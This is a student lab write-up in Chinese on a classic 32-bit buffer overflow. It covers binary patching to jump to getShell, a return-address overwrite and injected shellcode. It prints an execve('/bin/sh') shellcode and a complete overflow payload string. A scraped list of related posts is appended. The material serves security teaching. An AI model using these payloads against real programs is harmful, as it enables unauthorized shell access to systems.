实验目标

目标一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

目标二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

目标三:注入一个自己制作的shellcode并运行这段shellcode。


实验基础知识准备

Linux基本操作理解

指令 作用
objdump -d 反汇编指令
xxd 将一个文件以十六进制的形式显示出来
cat 从第一个字节开始正向查看文件的内容
| 管道命令,可以理解为东西从管道的一边流向另外一边
< 输出指向, 就是把<后面跟的文件取代键盘作为新的输入设备
perl -e 是一门解释型语言,不需要预编译,可以在命令行上直接使用。

汇编指令的机器码

指令 作用 机器码
NOP 空操作指令 90
JNE 条件转移指令,如果不相等则跳转。 74
JE 条件转移指令,如果相等则跳转。 75
JMP 无条件转移指令 E9-EB
CMP 比较指令 38-3D

BOF原理

参考资料

BOF基础实践

缓冲区溢出详解

缓冲区是一块连续的计算机内存区域,可保存相同数据类型的多个实例。缓冲区可以是堆栈(自动变量)、堆(动态内存)和静态数据区(全局或静态)。

若将函数返回地址修改为指向一段精心安排的恶意代码,则可达到危害系统安全的目的。此外,堆栈的正确恢复依赖于压栈的EBP值的正确性,但EBP域邻近局部变量,若编程中有意无意地通过局部变量的地址偏移窜改EBP值,则程序的行为将变得非常危险。

反汇编和十六进制编程器

反汇编:objdump -d pwn |more,反汇编文件,并可翻页查看

十六进制编程器:使用perl -e命令


实验内容

任务一:手工修改可执行文件

  1. 首先将pwn1进行备份,cp pwn1 pwn20165211_1可生成一个和pwn1一样的文件pwn20165211_1。

  1. 使用objdump -d pwn20165211_1|more将pwn20165211_1反汇编,可得到以下代码,可按enter进行浏览。在得到的反汇编结果中,有很多的部分是这个文件所导入的函数,主要部分如下

  1. 在这里,我们可以看到一行关键信息e8 d7 ff ff ff call 8048491 <foo>call指令后面是所要调用的函数首地址08048491。本文件中存在getShell函数,若要改调用foo函数为调用getShell函数,则将地址改为0804847d即可,修改过程如下:

    • vi命令打开pwn20165211_1文件,可见文件ELF文件,且多为乱码

  • 输入:%!xxd将文件显示为十六进制

  • 08048491对应的十六进制为e8 d7 ff ff ff,则通过偏移地址的计算方法,得出080447d对应的十六进制为e8 c3 ff ff ff,可见,我们只要将d7修改为c3即可。输入/d7查找定位,查看前后的数,发现为我们所需要修改的地方。

  • 修改d7c3

  • 注意此时保存文件会造成文件的损坏,需要输入:%!xxd -r将文件转化为原格式

  • 使用:wq!写文件并退出
  1. 修改后再反汇编文件,发现call指令后面已变为getShell函数,说明修改已成功。

  1. 运行文件,输入指令,发现已成功获得主机的shell

任务二:利用foo函数的Bof漏洞,触发getShell函数。

  1. 首先明确我们的目的,在知道了函数getShell,通过触发这个函数,即可获得主机的Shell。实际就是想利用这个可执行文件foo函数的BOF漏洞,通过输入超过长度的字符串buf,即可将返回地址覆盖变为getShell的地址,从而触发函数。

  2. 首先,通过反汇编,明确buf的最大长度有多少?主要看的是foo函数

在红框框出的位置,我们可以看到,给buf分配的栈空间,一共有1c(即为28)个字节

如下图,是堆栈的示意图,我们可以看到,EBP占4个字节,所以,返回地址之前一共有32个字节,故构造的字符串应该是32字节的任意数据加getShell的地址。

  1. 以上是我们推算的过程,可以通过构造字符串来验证我们的推算是否正确。构造一个ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEF12345678来验证我们的想法。输入gdb ./pwn20165211_2,来调试改文件,输入我们构造的字符串,结果如下图:

此错误为返回地址为一个无效的地址,查看错误信息,发现为4321的ASCII码值。则可知道我们的想法是正确的,那么接下来就是将1234的位置替换为getShell的首地址0804847d,通过上图,我们可以看到,其地址应该为逆序的输入进去则为输入应为\x7d\x84\x04\x08,

  1. 但是,在程序输入时,我们无法直接输入十六进制值,故使用Perl语言进行构造我们需要的输入语句,存入input1文件里,可查看input1是否符合要求。(\x0a为回车)

  2. 利用管道语句,将input1作为pwn20165211_2的输入。查看发现成功获得shell.

任务三:注入一个自己制作的shellcode。

参考资料

Shellcode入门

Shellcode基础

【干货分享】手把手简易实现shellcode及详解

  1. 在对待一些有BOF漏洞的程序时,这种方法应该是最具有普适性的吧,毕竟不是所有的文件里面都会藏着一个getShell

  2. 首先是一些准备工作,通过以下的操作设置堆栈可执行,关闭地址随机化。

  1. 注入自己构造的shellcode有两种方式,一种是:retaddr+nop+shellcode,另一种是:nop+shellcode+retaddr。其中nop是滑行区,只要保证retaddr在滑行区就可以。其中,shellcode选择\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\。首先选择shellcode用哪种方式构造,常用的方法retaddr+nop+shellcode。这样就不用考虑缓冲区能容纳shellcode的问题了。所以我们构造的payload的结构即为32字节random+retaddr+nop+shellcode

    那么接下来就是retaddr的问题了。

  2. 首先先写出我们的攻击bufABCDEFGHIJKLMNOPQRSTUVWXYZABCDEF\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80,注意最后一位不能是\x0a,不然段buf输入时,就会直接开始执行了,无法调试。接下来和上一步一样构造出buf,并注入。

  1. 打开另一个终端,调试这个进程。首先(获取进程号

启动gdb调试进程

查看foo函数的地址,已确定设立断点的位置,设在ret命令的位置

断点设置完成后,在原终端按下回车键。再在此终端继续执行。查看esp值。

然后寻找我们的\x04\x03\x02\x01

可在图中看到我们的代码,则可知其地址为0xffffd23c,那么我们的shellcode地址为0xffffd240所以,原buf中的\x01\x02\x03\x04即为\x40\xd2\xff\xff,最后构造bufABCDEFGHIJKLMNOPQRSTUVWXYZABCDEF\x40\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x0a,注入即可获得shell。


实验中遇到的问题和感想

出现问题

execstack命令找不到

发现此命令需要安装,则通过指令安装后,即可正常使用

感想

经过本次的实验,主要就是对BOF有了进一步的理解。

之前也有接触过BOF的相关概念,但是基本停留在概念理解上,真正动手去做了,就能够更加了解缓冲区溢出到底是怎样去工作的。返回地址的寻找,还有字符串的构造方法,还是有很大的收获的。

在现在,其实针对缓冲区溢出,也有很多的防护方法,但是,缓冲区溢出仍然是一种有效的攻击手段。就像本次实验中,其实通过远程连接也可以完成本次操作,那么就可以形成一次有效的攻击,造成各种安全风险。

什么是漏洞

  • 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统,比如在本次,若你的计算机存在这样一个文件,且被对方知悉,并没有做有效的防护手段,极有可能被对方获得电脑的操作权,访问,破坏系统,就轻而易举了。

漏洞有什么危害

  • 会对我们的信息隐私造成泄露,传播恶意的软件,被充当某种大型攻击的肉鸡,小至我们个人计算机无法使用,大至国家网络的瘫痪,都有可能发生。

2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3 20165211的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M

    20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...

  3. 20155227《网络对抗》Exp1 PC平台逆向破解(5)M

    20155227<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  4. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

  5. 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解

    20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  6. 20145325张梓靖 《网络对抗技术》 PC平台逆向破解

    20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...

  7. # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟

    <网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...

  8. 20145206邹京儒《网络对抗技术》 PC平台逆向破解

    20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...

  9. 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解

    20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...

  10. 20145336张子扬 《网络对抗技术》 PC平台逆向破解

    #20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...

随机推荐

  1. iOS UI基础-7.0 UIScrollView

    概述 移动设备的屏幕大小是极其有限的,因此直接展示在用户眼前的内容也相当有限.当展示的内容较多,超出一个屏幕时,用户可通过滚动手势来查看屏幕以外的内容,普通的UIView不具备滚动功能,不能显示过多的 ...

  2. 工厂模式&策略模式。

    抽象.封装,具体事情做得越多,越容易犯错误.这每个做过具体工作的人都深有体会,相反,官做得越高,说出的话越抽象越笼统,犯错误可能性就越少.好象我们从编程序中也能悟出人生道理.(百度百科) 不断抽象封装 ...

  3. Lambda引言

    Lambda表达式:可以方便我们把方法当做参数传递 package airycode_java8.nice1; import org.junit.Test; import java.util.*; / ...

  4. C# 基于Aspose.Cells的数据导出到Excel

    using Aspose.Cells;  void WriteToExcel(string filePath, List<object[]> datas, string sheetName ...

  5. windows系统快捷键

    1.我的键盘:windows键的开启,需要按住FN键+windows键. 2.windows键 + E,表示打开我的电脑. 3.windows键 + R,打开windows的命令行窗口. 4.wind ...

  6. python爬虫 ----文章爬虫(合理处理字符串中的\n\t\r........)

    import urllib.request import re import time num=input("输入日期(20150101000):") def openpage(u ...

  7. hdu5029 树链剖分 + 线段树

      将树映射在线段上进行操作 然后每个 重链变成一个连续的区间 #include <iostream> #include <cstdio> #include <strin ...

  8. Python -- print(dataframe)时,省略部分列。

    import pandas as pd # 导入后加入以下列,再显示时显示完全. pd.set_option('display.max_rows',500) pd.set_option('displa ...

  9. chromedriver 全屏 翻页 错误

    from selenium import webdriver from selenium.common.exceptions import TimeoutException, StaleElement ...

  10. crm

    CRM 开发 需求分析 存储所有的客户咨询信息 避免重复数据 客户的多次跟踪记录 客户来源.成单率分析 每个销售只能修改自己的客户信息 报名流程开发 班级管理 学员成绩,出勤管理 问卷调查 校区管理 ...